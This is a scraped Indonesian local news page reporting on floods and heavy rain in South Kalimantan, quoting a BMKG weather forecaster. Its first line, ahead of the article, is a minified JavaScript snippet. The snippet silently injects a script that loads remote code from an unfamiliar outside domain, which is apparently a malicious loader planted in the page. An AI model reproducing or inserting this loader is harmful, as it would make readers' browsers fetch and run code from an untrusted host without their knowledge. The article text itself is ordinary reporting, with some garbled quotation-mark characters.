(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Hujan yang mengguyur sebagian besar wilayah Kalsel berdampak pada musibah banjir di beberapa wilayah. Seperti di Kecamatan Binuang, Kabupaten Tapin dan Kelurahan Bangkal, Kota Banjarbaru.
Berdasarkan informasi yang didapat Kanalkalimantan.com dari BMKG Stasiun Kelas II Syamsudin Noor Banjarmasin, puncak musim penghujan di sebagian besar wilayah Kalsel terjadi di pergantian bulan Desember dan Januari. Sehingga, curah hujan pun berkisar antara sedang, tinggi bahkan lebat.
“Durasi hujan pun bisa dibilang panjang, (yaitu) dari malam hingga pagi hari,†kata Rianita, Forecaster on Duty BMKG Stasiun Kelas II Syamsudin Noor Banjarmasin saat ditemui, Rabu (1/1) siang.
Baca: Bencana Awal Tahun 2020, Banjir di Binuang Tapin Sebabkan 118 Jiwa Terdampak
Curah hujan pun bervariatif. Berkisar antara 94,4 milimeter di wilayah barat Kalsel, sedangkan di wilayah timur Kalsel terutama di Kotabaru, curah hujan berkisar 38,9 milimeter. “Ini akumulasi dari (hujan) kemarin hingga pagi ini,†tambahnya.
BMKG memprediksi, potensi hujan dalam beberapa hari ke depan masih terjadi di Kalsel. Terlebih saat puncak musim penghujan seperti di bulan Januari hingga Februari ke depan. “Curah hujan masih cukup besar untuk tumbuhnya awan. Bukan hanya beberapa hari ke depan, namun hingga selesainya musim penghujan,†paparnya.
Di wilayah timur Kalsel, hujan mengguyur pada waktu siang hari. Sedangkan di wilayah barat, utara dan selatan Kalsel pada malam hingga pagi hari.
“Berdasarkan dari (pantauan) radar dan satelit, memang potensi hujan sedang hingga lebat, hampir seluruh wilayah Kalsel. Kebetulan juga tadi malam di wilayah Barabai dan Kandangan juga diguyur hujan intensitas sedang hingga lebat,†beber Rianita.
Baca: Diguyur Hujan Seharian, Sejumlah Lokasi di Banjarbaru Terendam Banjir
BMKG juga memprediksi, akan ada hujan yang disertai dengan angin yang cukup kencang. Terlebih jika hujan yang mengguyur cukup lebat, sehingga berpotensi adanya angin kencang disertai petir.
Sehingga, BMKG mengimbau kepada masyarakat untuk selalu waspada terhadap potensi hujan terlebih jika disertai angin dan petir. “Kalau misalkan hujan disertai angin kencang dan petir, masyarakat bisa membersihkan pohon-pohon yang rawan tumbang. Agar mengurangi dampak akibat hujan lebat disertai angin dan petir,†tandas Rianita. (fikri)
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
This website uses cookies.